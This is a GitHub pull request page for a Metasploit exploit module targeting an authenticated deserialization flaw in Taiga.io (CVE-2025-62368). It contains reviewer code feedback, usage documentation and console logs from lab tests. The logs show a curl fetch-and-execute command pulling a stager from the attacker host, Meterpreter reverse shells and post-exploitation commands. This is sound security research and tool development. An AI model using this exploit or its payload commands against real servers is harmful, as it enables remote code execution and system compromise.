-
Notifications
You must be signed in to change notification settings - Fork 14.6k
Adds exploit module for authenticated deserialization vulnerability in Taiga.io (CVE-2025-62368) #20700
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: master
Are you sure you want to change the base?
Conversation
…ploit-framework into exploit_taiga_tribe_gig
documentation/modules/exploit/multi/http/taiga_tribe_gig_unserial.rb
Outdated
Show resolved
Hide resolved
|
msutovsky-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf exploit(multi/http/taiga_tribe_gig_unserial) > check
[*] Elapsed time: 9.395494782000242 seconds.
[+] 127.0.0.1:9000 - The target is vulnerable. Detected vulnerable Taiga.io
msf exploit(multi/http/taiga_tribe_gig_unserial) > run verbose=true
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Sending payload..
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[*] Sending stage (23404 bytes) to 172.21.0.8
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.8:51962) at 2025-11-19 22:22:37 +0100
meterpreter > sysinfo
Computer : cb06bcf1e826
OS : Linux 6.17.4-76061704-generic #202510191616~1762410050~22.04~898873a SMP PREEMPT_DYNAMIC Thu N
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter > getuid
Server username: taiga
msutovsky-r7
left a comment
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Linux target
msf exploit(multi/http/taiga_tribe_gig_unserial) > run verbose=true
[*] Command to run on remote host: curl -so ./dcYpUqZvpXE http://172.17.0.1:8080/6-QSk_1Z4L51LCLriobShA;chmod +x ./dcYpUqZvpXE;./dcYpUqZvpXE&
[*] Fetch handler listening on 172.17.0.1:8080
[*] HTTP server started
[*] Adding resource /6-QSk_1Z4L51LCLriobShA
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Sending payload..
[*] Client 172.21.0.9 requested /6-QSk_1Z4L51LCLriobShA
[*] Sending payload to 172.21.0.9 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.9
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[*] Meterpreter session 5 opened (172.17.0.1:4444 -> 172.21.0.9:39812) at 2025-11-20 13:10:04 +0100
meterpreter > sysinfo
Computer : 172.21.0.9
OS : Debian 12.10 (Linux 6.17.4-76061704-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: taiga
Python target
msf exploit(multi/http/taiga_tribe_gig_unserial) > run verbose=true
[*] Started reverse TCP handler on 172.17.0.1:4444
[*] Sending payload..
[*] Sending stage (23404 bytes) to 172.21.0.9
[+] Payload sent
[*] Cleanup..
[+] Userstory deleted
[-] Meterpreter session 1 is not valid and will be closed
[*] Sending stage (23408 bytes) to 172.21.0.9
[*] 127.0.0.1 - Meterpreter session 1 closed.
[*] Meterpreter session 2 opened (172.17.0.1:4444 -> 172.21.0.9:49202) at 2025-11-20 12:27:29 +0100
meterpreter > sysinfo
Computer : 16ea22543fa5
OS : Linux 6.17.4-76061704-generic #202510191616~1762410050~22.04~898873a SMP PREEMPT_DYNAMIC Thu N
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter > getuid
Server username: taiga
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I don't think this should be in multi - that category typically means multiple operating system (in this case, it's most for Linux and you can run Python payload there right)?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It's written in python and the payload is a python-payload. so i thought that it might be multi. but in the docs for the self-hosted installations of taiga, they always propose to install it via docker
| } | ||
| ], | ||
| ], | ||
| 'CmdStagerFlavor' => [ 'bourne', 'curl', 'wget', 'printf', 'echo' ], |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would you mind explain little bit why CmdStagerFlavor is used here? Specifically, why curl and wget, since both are covered in fetch payloads?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
there is not deeper meaning, other than I don't have enough knowledge about that part of the framework. :/
| ) | ||
| end | ||
|
|
||
| class TaigaClientException < StandardError; end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would you mind moving this to beginning of file, to make it little bit more clear?
| get_project | ||
| project_status = get_status | ||
| rescue TaigaClientException => e | ||
| Exploit::CheckCode::Unknown(e) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Would you mind return different check codes for various situation? In the current state, if for example authenticate fails, the check method returns Unknown, but there might be various reasons why it did and we're missing here for example a case when we should return Detected.
| send_request_cgi( | ||
| 'uri' => normalize_uri(target_uri.path, '/api/v1/userstories'), | ||
| 'method' => 'POST', | ||
| 'ctype' => 'application/json', | ||
| 'headers' => { 'Authorization' => "Bearer #{@token}" }, | ||
| 'data' => { | ||
| _attrs: { project: @taiga_project, subject: '', description: '', tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false }, _name: 'userstories', _dataTypes: {}, _modifiedAttrs: { subject: temp_project.to_s, description: temp_project.to_s }, _isModified: true, project: @taiga_project, subject: temp_project.to_s, description: temp_project.to_s, tags: [], points: {}, swimlane: nil, status: project_status, is_archived: false, is_closed: false, | ||
| tribe_gig: command.to_s | ||
| }.to_json | ||
| ) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
This looks like repeated code, would you mind moving it to separate method?
| end | ||
|
|
||
| def delete_userstory(id) | ||
| send_request_cgi( |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Can we check here if the deletion was successful by checking response?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
i wasn't sure if it's so important. it's just clean_up and I don't want to fail just because the clean up did not work
| authenticate(datastore['USERNAME'], datastore['PASSWORD']) | ||
| get_project | ||
| rescue TaigaClientException => e | ||
| fail_with(Failure::UnexpectedReply, e) |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Also same as in check method, can we expand the various fail_with options for various situations?
Co-authored-by: msutovsky-r7 <[email protected]>
Co-authored-by: msutovsky-r7 <[email protected]>
This module exploits an authenticated unserialize vulnerability in Taiga.io that allows to execute
commands remotely. This vulnerability affects Taiga.io <= 6.8.3 and is fixed in 6.9.0.
Docker Installation
This exploit was tested using a taiga.io docker container and docker-compose.
First the taiga.io docker container was downloaded:
git clone https://github.com/taigaio/taiga-docker.git.Next the tag 6.8.3 was added to the
taiga-backimage in docker-compose.yml:The file
.envwas also modified so that the variableTAIGA_DOMAINpoints to the IP-address to the server:NOTE: Change the IP-address for TAIGA_DOMAIN for your setup
After starting the container with
./launch-taiga.shwe also have to create an admin account using:./taiga-manage.sh createsuperuser.Now open a browser and navigate to:
http://192.168.233.117:9000(use your IP-address), login as admin and create a project(select KANBAN). Provide any project-name and any project-description, select "Public Project" and create the project.NOTE: This exploit works needs permissions to create user-stories. Therefore it works as a normal project member or as admin.
Verification Steps
use exploit/multi/http/taiga_tribe_gig_unserialset RHOSTS [ips]set LHOST [lhost]set RPORT 9000set USERNAME adminset PASSWORD adminset SSL falserunOptions
TARGETURI
Remote web path to the taiga installation (default: /)
USERNAME
The any existing username to authenticate to taiga. (Needs permissions on a project to create user-stories)
PASSWORD
The password for the user.
SSL
Use SSL to access the taiga-server (default: true)
Scenarios
In this scenario the taiga-server has the IP address
192.168.233.117. Useradminexists with passwordadminanda kanban project was already created in taiga and user admin is allowed to create userstories for that project.
Taiga 6.8.3(docker-compose):
The following demo shows how to use the exploit: